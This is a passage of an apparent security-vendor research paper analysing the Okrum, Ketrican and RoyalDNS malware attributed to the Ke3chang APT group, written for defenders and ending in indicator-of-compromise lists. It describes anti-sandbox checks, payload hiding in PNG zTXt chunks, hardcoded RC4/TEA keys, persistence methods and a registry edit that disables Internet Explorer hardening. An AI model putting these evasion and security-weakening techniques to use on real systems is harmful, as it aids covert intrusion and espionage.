| F42A9D85ABE04E721461FE2B52DDC9E0EA411D9E | - | PNG | PNG image with embedded backdoor |
| 8D7E503D972C03C0F87F2D6F6EF65F1381D21BC6 | 2016-01-11 | EXE | Stage 1 loader with embedded backdoor |
| AD740FD11688B2B39072C7024679CC22878E2619 | 2016-01-20 | EXE | Stage 1 loader with embedded backdoor |
| 1CDC632E0A26F39E527ACF7B1CDECD829A6A2B3D | 2016-11-16 | DLL | Stage 1 loader |
| A426BCC6317F0D49F0F0B68091E8161C512E22C3 | 2016-11-16 | EXE | Installer |
| 38299BCF0BA25E331939683597F161A3D7121A26 | 2016-12-19 | EXE | Stage 1 loader |
| F0E2C3AF0297C80C0A14E95E151FC7DC319ACFC3 | 2016-12-19 | EXE | Installer |
| 371B14F8BFD9B5DB098139E7FE2EBD4381CB259C | 2017-08-07 | EXE | Stage 0 loader |
| 1D271F22798313650C91C6FC34551CC8492A2019 | 2017-08-08 | EXE | Stage 1 loader |
| 48F8BAFB334C6980FB578C09D7297A4B7F5E09E2 | 2017-08-09 | EXE | Stage 1 loader |
| 5FBAFB71CFDF0C93E19882630D05F37C1F756CBF | 2017-09-15 | EXE | Stage 1 loader |
**Table 1** // Analyzed Okrum samples
#### 3.1.1 LOADERS
Although the Stage 1 loaders have varied frequently, they are all responsible for loading the very same Okrum backdoor. The Stage 0 loader is an optional component that loads the Stage 1 loader into memory.
##### 3.1.1.1 Early Stage 1 loaders
The Stage 1 loader samples compiled in January 2016 are dynamic-link libraries with the backdoor bundled at the end of the file. The last four bytes of the file determine the size of the backdoor, which is encrypted using the RC4 algorithm and a hardcoded key.
The following RC4 keys were used in the analyzed samples:
- 0x4540DCA3FE052EBA0183D9FA36DA7F98
- 0xCDABDCA3FE2934B10893DFA1FA7D3698
The loader first checks to make sure the process is not being emulated or executed within a sandbox. Four tricks are employed:
- Two calls to GetTickCount function separated by a 20-second sleep. If the GetTickCount value hasn’t changed (i.e., the time has been accelerated), the malware terminates itself.
- Two subsequent calls to GetCursorPos function. If the position of the cursor on the x-axis has changed (i.e., the cursor positions were randomly generated), the malware terminates itself.
- GetGlobalMemoryStatusEx is called. If the amount of actual physical memory is less than 15 Gigabytes, the malware terminates itself.
- The payload starts only after the left (physical) mouse button has been pressed at least three times (GetAsyncKeyState is queried in an infinite loop).
If all the checks pass, the loader decrypts the backdoor and loads it within its process.
##### 3.1.1.2 Late Stage 1 loaders
The later Stage 1 loader samples compiled at the end of 2016 and in 2017 take a different approach than the early samples. They no longer come bundled with the encrypted backdoor file; instead, the backdoor is embedded within a valid PNG file. When the file is viewed in an image viewer, a familiar image is displayed, but the loaders are able to locate an extra encrypted file that the user cannot see. This steganography technique is an attempt by the malicious actors to stay unnoticed and evade detection.
All the loaders assume the PNG file is already dropped somewhere in this folder or its subfolders: C:\program files. They search the folder recursively for a file (of any name and any extension) that has the following structure:
- PNG signature as the first 4 bytes: 0x89504E47
- PNG zTXt header present in the file: 0x7A545874
- PNG IEND header present in the file: 0x49454E44
- Byte 0x01 immediately following the IEND header
The encrypted payload is embedded in the zTXt chunk. According to the PNG format specification, this section should contain compressed text – such as licensing information – that would normally be displayed in the image properties. The zTXt chunk is, however, not critical for displaying the image correctly, and thus a PNG parser can ignore it if it is malformed (as in this case). Therefore, the image can be rendered correctly even when a broken zTXt section is present.
The payload is decrypted using Tiny Encryption Algorithm (TEA) with a hardcoded key, and loaded within the process of the loader. The same decryption key is hardcoded in all the loaders:
- 0x3E6A125F2387541296A3DC560C69AD1E
The five loaders share exactly the same functionality but the implementations are different.
While one of them is implemented as a service called Ntmssvc that needs a Service Installer, the others are standalone executables. Two of the loaders make use of forced exceptions and hide their payload in the exception handlers. All of the loaders are, however, responsible for locating, decrypting, and loading the backdoor.
#### 3.1.2 INSTALLERS
##### 3.1.2.1 SHA-1: A426BCC6317F0D49F0F0B68091E8161C512E22C3
The first of the installers we detected is a Service Installer for the Ntmssvc service. Due to the same service name and matching PE Timestamps, we assume this component is to be used with the Stage 1 loader implemented as a service. The component can be executed in two modes, determined by the command line argument (install or uninstall). It creates or removes a service called Ntmssvc that mimics the legitimate Removable Storage service but in fact, it loads one of the Okrum loaders on each system startup.
##### 3.1.2.2 SHA-1: F0E2C3AF0297C80C0A14E95E151FC7DC319ACFC3
The second installer has the same PE Timestamp as one of the Stage 1 loaders, so it is reasonable to assume they are meant to be used together. This component installs the specified file to be executed with each system start. Exactly three command line arguments are expected:
- md – mode (1 = create a task, 2 = drop in a startup folder)
- tn – name of the task or shortcut file
- fp – binary file path
In mode 1, a new hidden task named tn is scheduled, that executes file fp with each user logon. In mode 2, a shortcut file named tn is created in a Startup folder that points to the specified file fp. In both cases, COM interfaces are used (IPersistFile, ITaskScheduler, ITaskService).
#### 3.1.3 BACKDOOR
The Okrum backdoor is a DLL with three exported functions:
- DllEntryPoint
- Reflective loader (_xyz/_Rld)
- Main payload (_abc/_space)
The Stage 1 loader decrypts and loads the backdoor, using an unusual execution method. The DOS header of the backdoor executable is valid, but can also be interpreted as shellcode. This allows the Stage 1 component to load the backdoor DLL into its address space and execute a JMP or CALL instruction to offset 0x00 of the DLL, which passes control to the shellcode. The shellcode first calls the reflective loader export that applies relocations and resolves imports. Then it calls the export with the payload that executes the actual backdoor.
Interestingly, the PE header is valid, which also makes more common execution methods possible. If distributed in the original, unencrypted version, the backdoor could also be executed directly by having the DLL loaded by any executable. It would also be possible to inject it directly into another process using the reflective loader exported by the DLL. It is possible that these techniques were used by some older versions of the malware; however, we have only witnessed execution using the shellcode embedded in the DOS header.
##### 3.1.3.1 Overview
Okrum can impersonate a logged-on user’s security context using a call to the ImpersonateLoggedOnUser API, in order to gain administrator privileges. It automatically collects the following information about the infected computer:
- computer name
- user name
- host IP address
- primary DNS suffix value
- OS version, build number
- architecture
- user agent string
- locale info (language name, country name)
It starts communication with the C&C server and negotiates an AES key used in further communication. If not successful, a hardcoded key is used. Then, it registers the victim with the server by sending the collected information. Finally, it starts a loop in which the compromised computer queries for a backdoor command and then interprets it locally.
##### 3.1.3.2 Network communication
Okrum communicates with the remote server over the HTTP protocol using GET, POST, and HEAD requests:
- HTTP HEAD request to negotiate AES key
- HTTP GET request to get a command or download a file
- HTTP POST request to upload a file
If any proxy servers are configured on the compromised system, Okrum is able to identify them and use them to make HTTP requests. In client->server direction of the communication, the data is transmitted in the Cookie header (additional data can be included in the HTTP Message Body if files are transmitted). In server->client direction, the data is embedded in the Set-Cookie header.
An example of a client->server HTTP request is illustrated. The URI is different for different types of requests, but the data is always transmitted within the Cookie header. The data always consists of a series of parameters and values, separated by an ampersand, e.g.:
tm=01/09/2018 12:30:00&hn=My-Computer&un=JohnDoe&dm=mydns&suffix&ip=127.0.0.1&os=Windows Server 2016&fg=finance
Several parameters are supported and which of them are used depends on the type of the request. In the client->server direction, the parameters identify the victim and the query made to the server; in the other direction, they determine the backdoor commands and arguments. Just like in other backdoors attributed to the Ke3chang threat actor, a campaign name is always sent to the server as a part of the request, in order to help the operators keep track of the operation. In the Okrum samples we analyzed, we have encountered three campaign names:
- finance
- green7
- rehake
The data is always AES-CBC encrypted and base64 encoded. The AES key negotiated with the server is used in the communication. Malware operators are trying to hide the malicious traffic with the C&C server within regular network traffic by registering seemingly legitimate domain names. For example, the samples that were used against Slovak targets communicated with a domain name mimicking a Slovak map portal:
- supportslovakmaps[]com
Similarly, in a sample that was detected in a Spanish-speaking country in South America, the operators used a domain name that translates as “missions support” in Spanish:
- misionessoportesisco[]com
##### 3.1.3.3 Backdoor commands
The backdoor commands are determined by the ct parameter embedded in the message from the remote server. A custom hash of this value is computed and compared with a hardcoded table. After interpreting a command, Okrum sleeps for a configurable amount of time. The Okrum backdoor supports only basic commands, which indicates it is either a first-stage backdoor, or, more likely, the malware operators execute more complicated commands manually. The full list of backdoor commands can be found in **Table 2**.
| Command ID | Command hash | Description |
|------------|--------------|-------------|
| 0 | 467BC6E8 | Adjust sleep time |
| 1 | 24196803 | Execute a shell command |
| 2 | 5F1C0F5B | Download a file |
| 3 | E16D3ACB | Execute a file / download a file / update itself |
| 4 | E008CB5C | Upload a file |
**Table 2** // Backdoor commands supported by Okrum malware
### 3.2 Auxiliary tools used by Okrum
Since the Okrum backdoor is not very technically complex, most of the malicious activity must be performed by manually typing shell commands or by executing other available tools and software. This is a common practice of the Ke3chang group, as had also been pointed out previously in the Intezer and NCC Group reports monitoring Ke3chang group activity. Not all of these tools are necessarily malicious – some of them are common utilities such as a RAR archiver; others are potentially unsafe applications that can be abused by the attackers. We have spotted tools for dumping passwords, enumerating network sessions, and others. Information about all the utilities we have seen being used by the Okrum malware is listed in **Table 3**.
| SHA-1 | File name | Tool name / description / website |
|-------|-----------|-----------------------------------|
| 2D4713A598831E8F913857729CF4C193CA7B9B2E | csrss.exe | Keylogger |
| 673F513186C5EFB465EBA1DFCEDE61979972F7FE | wnzip.exe | RAR archiver utility |
| 3314780AB1C782D1B226BEAEE9DE16E9BEB00FD0 | gp.exe | MimikatzLite |
| 3FC6F7F66EEDA71B53C32B2086A4D737C94C4BCF | gpd.exe | MimikatzLite |
| E9D01DA30DA5FAE2EE333A8E446F0232E60AD8D9 | Drives.exe | DriveLetterView |
| 83A2F4F0E6DFFDFF5420048D9B37011FC50D45B4 | nets.exe | Netsess (RiskWare) |
| 858A9E32DBF619C68E1325590E87670E940B0E45 | tif.exe | Modified Quarks PwDump |
**Table 3** // Tools (ab)used by the Okrum backdoor
Similar utilities were observed being used by other Ke3chang malware, which is described in the next section. For example, a Ketrican backdoor from 2017 used NetSess, NetE, ProcDump, PsExec, RAR archiver utility, and Get-PassHashes.
## 4. KE3CHANG GROUP ACTIVITY IN 2015-2019 AND TIES TO OKRUM
From 2015 to 2019, we detected malware that evolved from the BS2005 backdoors from operation Ke3chang – the Ketrican backdoors – and a new version of the RoyalDNS malware. In this section, we will go through these newly discovered samples, compare them to the malware families previously attributed to the Ke3chang group, and explain how Okrum fits into the picture.
### 4.1 Ke3chang activity in 2015 – Ketrican
All of the analyzed Ketrican 2015 samples were backdoors supporting the same set of basic commands as malware used in operation Ke3chang, such as downloading and uploading files, executing files and shell commands, and sleeping for a configurable time. Likewise, each of the files has a hardcoded campaign name, the C&C server domain name, and URI, as in the samples used in operation Ke3chang. The list of IoCs extracted from the Ketrican samples discovered in 2015 can be found in **Table 4**.
| SHA-1 | PE Timestamp | C&C server | URI | Campaign Name |
|-------|--------------|------------|-----|----------------|
| 2748A2928B6A4A528709ABA20AEF93D1EC9010F9 | 2014-03-12 | dynameeuropemis[]com | twit4ter | name |
| 94E6CB95585DBB59A61EC4029BC7EBB30BBA57E5 | 2014-03-17 | dreamzepotac[]com | whaced | water |
| D3A96C0FA84BFEE826E175D4664116A169D15D4E | 2014-04-14 | translateeuropemis[]com | twit4ter | baby |
| 1C7559C57606B359EEB57F0416FE0B2784C01395 | 2014-09-04 | viewbeleimprensa[]org | whaced | peach |
| 233FF39DDE5A13CBF78EC1E9C020CF3CF18084E7 | 2015-01-28 | storeufmsecret[]org | images | warm |
| A23EE1F17B746C1907293C7F8155E3E7DE135648 | 2015-06-18 | dailyhuntereim[]com | whaced | pictu |
| 10BD61F3FB03632E270FEF3AB6515677405A472F | 2015-07-31 | center nmsvillage[]com | content | video |
| 809C53F71549D83ED8AB5BAB312249212F6F4149 | 2015-08-04 | storeufmsecret[]org | images | warm |
| 77369D3735B3B2C24CCAA93ECAA903D816EA9CD9 | 2015-09-15 | controlmimepanel[]org | whaced | panel |
| 844E710D85DD63AA5BF245CEE94C1CC872429BD3 | 2015-11-06 | rainnmsvillage[]com | twit4ter | snow |
| B49EDC05658907C888074905CE234BF3CF58D8A0 | 2015-11-18 | winddeltimesweb[]com | whaced | cloud |
| 4C1198F726ACAD7AF78B36F250A128D5E3C52D8C | 2015-11-26 | promiseminiaturizate[]org | images | tree |
| 1730D90FFB888877EA2F18198BCC592087218E9A | 2015-09-29 | itemamazonout[]com | w4rmeg | fight |
**Table 4** // IoCs extracted from the analyzed Ketrican samples discovered by ESET in 2015
In the rest of this part of the paper, we will point out the major similarities between the coding style of the malware used in operation Ke3chang and the Ketrican backdoor samples discovered by ESET in 2015. These share the main features with the BS2005 malware family, but in some places, they have clearly evolved.
#### 4.1.1 WORKING DIRECTORY
The first trait common to both BS2005 and some of the 2015 Ketrican samples is that they create a copy of the Windows Command Prompt (cmd.exe) in their working directories and then use it to interpret backdoor commands. Both BS2005 and Ketrican backdoors use similar command-line patterns to execute a file or shell command using their Command Prompt copy and redirect its output to a file.
The files created by the malware are stored in a working directory in one of Windows special folders (e.g., Local Settings). The special folder location is updated in different versions of the backdoors from operation Ke3chang, but the path to the folder is always retrieved by accessing the following registry key, rather than using the SHGetSpecialFolderLocation API function:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
The Shell Folders registry key is only supported by Windows for backwards compatibility and is not the recommended way to access these folders. It is a rather unusual technique to use this key and that links the samples used in operation Ke3chang to the samples discovered in 2015.
#### 4.1.2 ANTI-EMULATION/ANTI-SANDBOX TRICK
One of the artifacts shared among the analyzed samples is a heuristic to detect an emulated environment or a sandbox. The GetTickCount function is called before and after a loop with 999,999,990 iterations of incrementing a value. If the returned value doesn’t change between calls, emulation or a sandbox is detected and the process terminates itself. According to the FireEye report, at least one of the BS2005 samples from operation Ke3chang contained the very same heuristic. We were able to locate the same heuristic in all Ketrican backdoors discovered in 2015.
#### 4.1.3 NETWORK COMMUNICATION
Just like the BS2005 family, the 2015 Ketrican samples control the Internet Explorer browser process using the IWebBrowser2 COM interface, to make their network communication look legitimate. Data is encrypted and encoded, and sent using the HTTP protocol. The response from the server is an HTTP page with backdoor commands and arguments included in a hidden input field. This data is expected to have a specific format that varies across the samples, but the same pattern is used.
#### 4.1.4 DATA TRANSFORMATION
In the BS2005 malware samples, a specific two-step transformation is used for the data before it is sent to a remote server. First, the data is encrypted with a custom algorithm and then it is URL-safe, base64 encoded, meaning that all “+” characters are replaced with “*” characters, which allows the data to be transmitted as a part of the URL. In one of the samples, the following encryption algorithm is used:
- Each byte has 0x27 plus its positional index byte added to it.
- The byte is then XORed with its positional index byte.
The same transformation is used in other samples from operation Ke3chang, except that constants other than 0x27 are used. In the samples discovered in 2015, the malware authors continued with this practice. Ketrican 2015 backdoors also use the combination of encryption and this URL-safe, base64 encoding and similarly vary the encryption method.
In some of the samples, a similar weak-encryption algorithm is used except that the constant is subtracted instead of being added. In yet other samples, the encryption algorithm has been changed to AES.
#### 4.1.5 FURTHER ATTRIBUTION CONSIDERATIONS
Our conclusions about the backdoors discovered in 2015 were also confirmed in a later Palo Alto Networks report about a malware family they call TidePool, which included two of the samples we analyzed. The Palo Alto Network researchers claim the TidePool malware family is an evolution of the BS2005 malware family, which is in accordance with our findings. However, this fact alone would not be enough to attribute the malware samples detected in 2015 to the Ke3chang group, since we have to consider the possibility of malware reuse between different APT groups. As also stated in the FireEye report, the source code used in operation Ke3chang is likely shared among different developers or teams of developers. Thus, we cannot assume that anybody who uses this malware is automatically the Ke3chang group.
Nevertheless, we can confirm that the threat actor behind the samples discovered in 2015 had the same objectives and targeted the same type of organizations as the Ke3chang threat actor – diplomatic organizations and missions. This leads us to believe the group behind the Ketrican samples ESET discovered in 2015 is indeed the same actor that was behind operation Ke3chang.
### 4.2 Ke3chang activity in 2017 – Ketrican
The Ketrican samples from 2015 described in the previous section and Okrum samples from 2017 could easily look like being part of two independent operations targeted against the same organizations. However, we discovered a direct link between the two malware families - one of the Okrum backdoors was used to drop a 2017 Ketrican sample. This dropped backdoor had a PE Timestamp set to Aug 08 2017 that, according to our telemetry, appears to be valid. Our analysis showed it was – again – an evolution of backdoors used in operation Ke3chang, exhibiting the same coding style with several improvements. At some point, the attackers appear to have switched the Okrum backdoor to a freshly compiled Ketrican sample.
The samples detected in 2017 closely resemble BS2005 backdoors from operation Ke3chang. The same set of commands and methods of network communication are supported, and the main features remain unchanged. Again, the authors continued to update the same parts of code as we have witnessed before. The special folder used as a working directory was updated to a new value (from Local Appdata/Local Settings to Templates/AppData).
Before the collected data is sent to a C&C server (using the very same technique as in the BS2005 malware), it undergoes the same transformation where encryption is combined with the same URL-safe base64 encoding. The encryption routine was updated to AES or RC4. The authors also continue to use campaign names to keep track of the ongoing operations and to identify victims. **Table 5** lists the IoCs extracted from the Ketrican samples detected in 2017.
| SHA-1 | PE Timestamp | C&C server | URI | Campaign Name |
|-------|--------------|------------|-----|----------------|
| 58DEA3A56DE1D95353230BE9BBBA582599AFE624 | 2009-01-14 | forcanhausblow[]com | - | blue |
| FE2BF0A613482A40CCF84157361054EE77C07960 | 2016-12-19 | loginallionhealth[]com | - | login |
| D3BFB10DB08C6828C3001C1F825ED6A6BF6F6E01 | 2017-08-08 | buybabytoy-online[]com | region | fvejautoexp |
| 2C8B145EF5AC177C99DFCB8C0221E30B3A363A96 | 2017-08-08 | newflowbabytoy-online[]com | - | blue |
| D8AA9E4918E464D00BA95A3E28B8707A148EC4D7 | 2017-08-09 | buybabytoy-online[]com | region | fvejautoexp |
| 9D41B44AF5BAAF581C0D9D7BEF466213BD8BE01A | 2017-08-10 | presspremlist[]com | - | press |
| F2BFDA51BDA3EE57878475817AF6E5F24FFBBB28 | 2017-08-23 | itemsbabytoy-online[]com | - | blue |
**Table 5** // IoCs extracted from the analyzed Ketrican samples discovered by ESET in 2017
### 4.3 Ke3chang activity in 2017 – RoyalDNS
In 2017, the entities affected by the Ketrican 2015 and Okrum backdoors were targeted with a variation of the RoyalDNS malware, which has already been attributed to the Ke3chang group. Its main characteristic is using the DNS protocol to communicate with the C&C server. The RoyalDNS sample from the NCC Group report was compiled on June 3, 2017 while the data in the PE header of the newly discovered sample point to a more recent date, September 25, 2017. Both of the samples export the same functions and use the very same rare type of communication with the C&C server.
To communicate with the C&C server, a list of locally configured DNS servers is retrieved, and then the malware queries for specific TXT records of a C&C domain. The response from the DNS server encapsulates the backdoor commands.
### 4.4 Ke3chang activity in 2018 – Ketrican
In 2018, we discovered new Ketrican samples. Among all the versions of the Ketrican backdoors we’ve found, these have evolved the most. An option to load a DLL was added to the traditional set of supported commands. The encryption algorithm has been replaced with the XOR cipher (volume serial number of the C volume is used as the key). The 2018 Ketrican backdoors use the same method of network communication as the samples from the BS2005 family – a combination of an HTTP request made via an instance of IWebBrowser2 COM object and response HTML pages with hidden input fields. What is different is that instead of using the CoCreateInstance API function to create the COM object instance directly, a registration-free COM technique is used.
Finally, the 2018 Ketrican backdoors share another feature common for Ke3chang group backdoors. They are known to modify specific registry keys and values in order to weaken some security settings of the compromised machine, which can help them further extend their malicious capabilities to provide those not available via the backdoor itself. For example, Internet Explorer Enhanced Security configuration can be disabled by setting the following registry value:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
“IEHarden” = 0
By setting this value, prevention of script execution and other valuable protections are disabled. This is not a new feature; the same set of registry keys is changed in BS2005 and Tidepool malware families, and in the Ketrican samples discovered in 2015, 2017, and 2018. The samples from 2018 are, however, the first ones to use PowerShell scripts to modify the keys. The older versions of the malware used registry API functions or the reg.exe utility for that.
| SHA-1 | PE Timestamp | C&C server | URI | Campaign Name |
|-------|--------------|------------|-----|----------------|
| C1C89A1A1779515EC1DFD0EFFF293615D523279E | 2018-02-01 | dsmanfactureprivatedns[]org | - | - |
| 09B7999160C5D0DC9A7443F0FC248B6C23BC0724 | 2018-07-17 | compatsec[]com | - | - |
| 6BF0923577FE5939DEA66F466B74683AE2EBBC3E | 2018-07-17 | compatsec[]com | - | - |
**Table 6** // IoCs extracted from 2018 Ketrican samples
### 4.5 Ke3chang activity in 2019 – Ketrican
In March 2019, we detected two new Ketrican samples, one of which was similar to the 2018 Ketrican backdoor, and the other that has evolved from it. The previous Ketrican samples and the samples detected in 2019 largely overlap in commands, network communication, and obfuscation. The 2019 version also modifies the same rare combination of registry values as all earlier Ketrican samples, which is explained in the section above. There is one noteworthy difference between the previous Ketrican samples and the 2019 ones: instead of executing a new cmd.exe process for each PowerShell command (i.e., to change every registry value), there is only one instance of the process, which communicates with the malware over anonymous pipes.
| SHA-1 | PE Timestamp | C&C server | URI | Campaign Name |
|-------|--------------|------------|-----|----------------|
| D98D258C234F5CEAD43FD897613B2EA2669AA7C0 | 2019-01-28 | charthealthcare-internet[]com | - | - |
| CE94EC2CFB23D8C662F558C69B64104C78B9D098 | 2019-04-25 | inicializacion[]com | - | cion |
**Table 7** // IoCs extracted from 2019 Ketrican samples
## 5. CONCLUSION
The Ke3chang APT group (aka APT15) has rightfully been on the radar of security researchers because of its decade-long operation, targeting high-value victims such as diplomatic entities, and other geopolitical aspects associated with them. While ESET does not engage in attribution of these activities to a particular nation-state, we do attempt attribution of individual malware-driven cyberattacks to a particular APT group.
In this paper, we have documented the previously unknown malware, Okrum, detected by ESET in Slovakia, Belgium, Chile, Guatemala, and Brazil, documented other suspected Ke3chang activity (using the Ketrican and RoyalDNS malware families), and provided evidence that drives us to the conclusion that all of this is indeed the work of the Ke3chang threat actor. Just like other known Ke3chang malware, Okrum is not technically complex, but we can certainly see that the malicious actors behind it were trying to remain undetected by using tactics such as embedding the malicious payload within a legitimate PNG image, employing several anti-emulation and anti-sandbox tricks, as well as making frequent changes in implementation. As for the analyzed Ketrican samples, these show visible evolution and code improvements from 2015 to 2019. What remains to be answered is how the malware was distributed to the victim machines. ESET will continue to track the malicious activities of the Ke3chang threat group.
## 6. INDICATORS OF COMPROMISE (IOCS)
### 6.1 Okrum
#### 6.1.1 ESET DETECTION NAMES
- Win32/OkrumA
- Win32/OkrumB
- Win32/OkrumC
- Win32/OkrumD
- Win32/OkrumE
- Win32/OkrumF
- Win32/OkrumG
- Win32/OkrumH
- Win32/OkrumI
#### 6.1.2 SHA-1
- 1CDC632E0A26F39E527ACF7B1CDECD829A6A2B3D
- 1D271F22798313650C91C6FC34551CC8492A2019
- 371B14F8BFD9B5DB098139E7FE2EBD4381CB259C
- 38299BCF0BA25E331939683597F161A3D7121A26
- 48F8BAFB334C6980FB578C09D7297A4B7F5E09E2
- 5FBAFB71CFDF0C93E19882630D05F37C1F756CBF
- 8D7E503D972C03C0F87F2D6F6EF65F1381D21BC6
- A426BCC6317F0D49F0F0B68091E8161C512E22C3
- AD740FD11688B2B39072C7024679CC22878E2619
- F0E2C3AF0297C80C0A14E95E151FC7DC319ACFC3
- F42A9D85ABE04E721461FE2B52DDC9E0EA411D9E
#### 6.1.3 C&C SERVERS
- financeglobaleducat[]com
- supportslovakmaps[]com
- misionessoportesisco[]com
#### 6.1.4 MUTEX NAMES
- qDJsxrGpPacRndLdsdIoqesGBv
- SnpcnSHPPxsdfcwzEkmtdv
- zSpgnEHPPcvAltcFzlIscD19
### 6.2 Ketrican
#### 6.2.1 ESET DETECTION NAMES
- Win32/KetricanA
- Win32/KetricanB
- Win32/KetricanC
- Win32/KetricanD
- Win32/KetricanE
- Win32/KetricanF
- Win32/KetricanG
- Win32/KetricanH
- Win32/KetricanI
- Win32/KetricanJ
- Win32/KetricanK
- Win32/KetricanL
- Win32/KetricanM
- Win32/KetricanN
- Win32/KetricanO
- Win32/KetricanP
- Win32/KetricanQ
- Win32/KetricanR
- Win32/KetricanS
- Win32/KetricanT
#### 6.2.2 KETRICAN 2015
##### 6.2.2.1 SHA-1
- 054EB61F2CE6DEB4FE011335CD88EBA530B8D09A
- 10BD61F3FB03632E270FEF3AB6515677405A472F
- 1730D90FFB888877EA2F18198BCC592087218E9A
- 1C7559C57606B359EEB57F0416FE0B2784C01395
- 233FF39DDE5A13CBF78EC1E9C020CF3CF18084E7
- 2748A2928B6A4A528709ABA20AEF93D1EC9010F9
- 43A4CC528134E218B9CEC2FF0C24B5912BF5C032
- 4636E5FB97AFA68F60BE9247F5EB9684CA9CDBA6
- 4C1198F726ACAD7AF78B36F250A128D5E3C52D8C
- 65E3947144F6A3C31BC88E445514A83FCB331AFD
- 7581337DB29E092101E4FD692D01AA26D65FA40A
- 77369D3735B3B2C24CCAA93ECAA903D816EA9CD9
- 809C53F71549D83ED8AB5BAB312249212F6F4149
- 844E710D85DD63AA5BF245CEE94C1CC872429BD3
- 86513FE43F2F2D2C486D6265C9098315E774F791
- 94E6CB95585DBB59A61EC4029BC7EBB30BBA57E5
- A23EE1F17B746C1907293C7F8155E3E7DE135648
- AB7F63649BBC53E45DEEB7269BEBD54815AE9E27
- B49EDC05658907C888074905CE234BF3CF58D8A0
- D3A96C0FA84BFEE826E175D4664116A169D15D4E
- D3D0DED17D0029DFD90DA2AE74ADA885779E8926
- D7DFB547033B82765F8B0A6B70A22A4EC204D7A8
- DD753FCBAD4BE31066F278585D14C411DB3D7795
##### 6.2.2.2 C&C servers
- center nmsvillage[]com
- controlmimepanel[]org
- dailyhuntereim[]com
- dreamzepotac[]com
- dynameeuropemis[]com
- itemamazonout[]com
- promiseminiaturizate[]org
- rainnmsvillage[]com
- storeufmsecret[]org
- translateeuropemis[]com
- viewbeleimprensa[]org
- winddeltimesweb[]com
#### 6.2.3 KETRICAN 2017
##### 6.2.3.1 SHA-1
- 2C8B145EF5AC177C99DFCB8C0221E30B3A363A96
- 58DEA3A56DE1D95353230BE9BBBA582599AFE624
- 9D41B44AF5BAAF581C0D9D7BEF466213BD8BE01A
- D3BFB10DB08C6828C3001C1F825ED6A6BF6F6E01
- D8AA9E4918E464D00BA95A3E28B8707A148EC4D7
- F2BFDA51BDA3EE57878475817AF6E5F24FFBBB28
- FE2BF0A613482A40CCF84157361054EE77C07960
##### 6.2.3.2 C&C servers
- buybabytoy-online[]com
- forcanhausblow[]com
- itemsbabytoy-online[]com
- loginallionhealth[]com
- newflowbabytoy-online[]com
- presspremlist[]com
**Note:** We have not detected samples using the following C&C servers. We extracted them by observing the similarities in the C&C infrastructure used by the malware.
- grekfreetaxbar[]com
- itemsburgermap[]org
- upcvinciohali[]com
- www1sanpaulostat[]com
- cvlivehams[]com
- infoaudioexp[]com
#### 6.2.4 KETRICAN 2018
##### 6.2.4.1 SHA-1
- 09B7999160C5D0DC9A7443F0FC248B6C23BC0724
- 6BF0923577FE5939DEA66F466B74683AE2EBBC3E
- C1C89A1A1779515EC1DFD0EFFF293615D523279E
##### 6.2.4.2 C&C servers
- compatsec[]com
- dsmanfactureprivatedns[]org
#### 6.2.5 KETRICAN 2019
##### 6.2.5.1 SHA-1
- D98D258C234F5CEAD43FD897613B2EA2669AA7C0
- CE94EC2CFB23D8C662F558C69B64104C78B9D098
##### 6.2.5.2 C&C servers
- charthealthcare-internet[]com
- inicializacion[]com
### 6.3 RoyalDNS
#### 6.3.1 ESET DETECTION NAMES
- Win32/RoyalDNSA
- Win32/RoyalDNSB
#### 6.3.2 SHA-1
- 23796442F7CE7288837536EBF4E8620DB55A0BC1
#### 6.3.3 C&C SERVERS
- menorustru[]com
## 7. MITRE ATT&CK TECHNIQUES (OKRUM)
| Tactic | ID | Name | Description |
|--------|----|------|-------------|
| Execution | T1059 | Command-Line Interface | Okrum’s backdoor uses cmd.exe to execute arbitrary commands |
| Execution | T1064 | Scripting | The backdoor uses batch scripts to update itself to a newer version |
| Execution | T1035 | Service Execution | The Stage 1 loader creates a new service named NtmsSvc to execute the payload |
| Persistence | T1050 | New Service | To establish persistence, Okrum installs itself as a new service named NtmSsvc |
| Persistence | T1060 | Registry Run Keys / Startup Folder | Okrum establishes persistence by creating a lnk shortcut to itself in the Startup folder |
| Persistence | T1053 | Scheduled Task | The installer component tries to achieve persistence by creating a scheduled task |
| Persistence | T1023 | Shortcut Modification | Okrum establishes persistence by creating a lnk shortcut to itself in the Startup folder |
| Privilege Escalation | T1134 | Access Token Manipulation | Okrum can impersonate a logged on user’s security context using a call to the ImpersonateLoggedOnUser API |
| Privilege Escalation | T1140 | Deobfuscate/Decode Files or Information | The Stage 1 loader decrypts the backdoor code, embedded within the loader or within a legitimate PNG file. A custom XOR cipher or RC4 is used for decryption. |
| Defense Evasion | T1107 | File Deletion | Okrum’s backdoor deletes files after they have been successfully uploaded to C&C servers |
| Defense Evasion | T1158 | Hidden Files and Directories | Before exfiltration, Okrum’s backdoor uses hidden files to store logs and outputs from backdoor commands |
| Defense Evasion | T1066 | Indicator Removal from Tools | Okrum underwent regular technical improvements to evade antivirus detection |
| Defense Evasion | T1036 | Masquerading | Okrum establishes persistence by adding a new service NtmsSvc with the display name Removable Storage in an attempt to masquerade as a legitimate Removable Storage Manager |
| Defense Evasion | T1027 | Obfuscated Files or Information | Okrum's payload is encrypted and embedded within the Stage 1 loader, or within a legitimate PNG file |
| Defense Evasion | T1497 | Virtualization/Sandbox Evasion | The Stage 1 loader performs several checks on the victim's machine to avoid being emulated or executed in a sandbox |
| Credential Access | T1003 | Credential Dumping | Okrum was seen using MimikatzLite and modified Quarks PwDump to perform credential dumping |
| Discovery | T1083 | File and Directory Discovery | Okrum was seen using DriveLetterView to enumerate drive information |
| Discovery | T1082 | System Information Discovery | Okrum collects computer name, locale information, and information about the OS and architecture |
| Discovery | T1016 | System Network Configuration Discovery | Okrum collects network information, including host IP address, DNS, and proxy information |
| Discovery | T1049 | System Network Connections Discovery | Okrum used NetSess to discover NetBIOS sessions |
| Discovery | T1033 | System Owner/User Discovery | Okrum collects the victim user name |
| Discovery | T1124 | System Time Discovery | Okrum can obtain the date and time of the compromised system |
| Collection | T1056 | Input Capture | Okrum was seen using a keylogger tool to capture keystrokes |
| Exfiltration | T1002 | Data Compressed | Okrum was seen using a RAR archiver tool to compress data |
| Exfiltration | T1022 | Data Encrypted | Okrum uses AES encryption and base64 encoding of files before exfiltration |
| Exfiltration | T1041 | Exfiltration Over Command and Control Channel | Data exfiltration is done using the already opened channel with the C&C server |
| Exfiltration | T1043 | Commonly Used Port | Okrum uses port 80 for C&C |
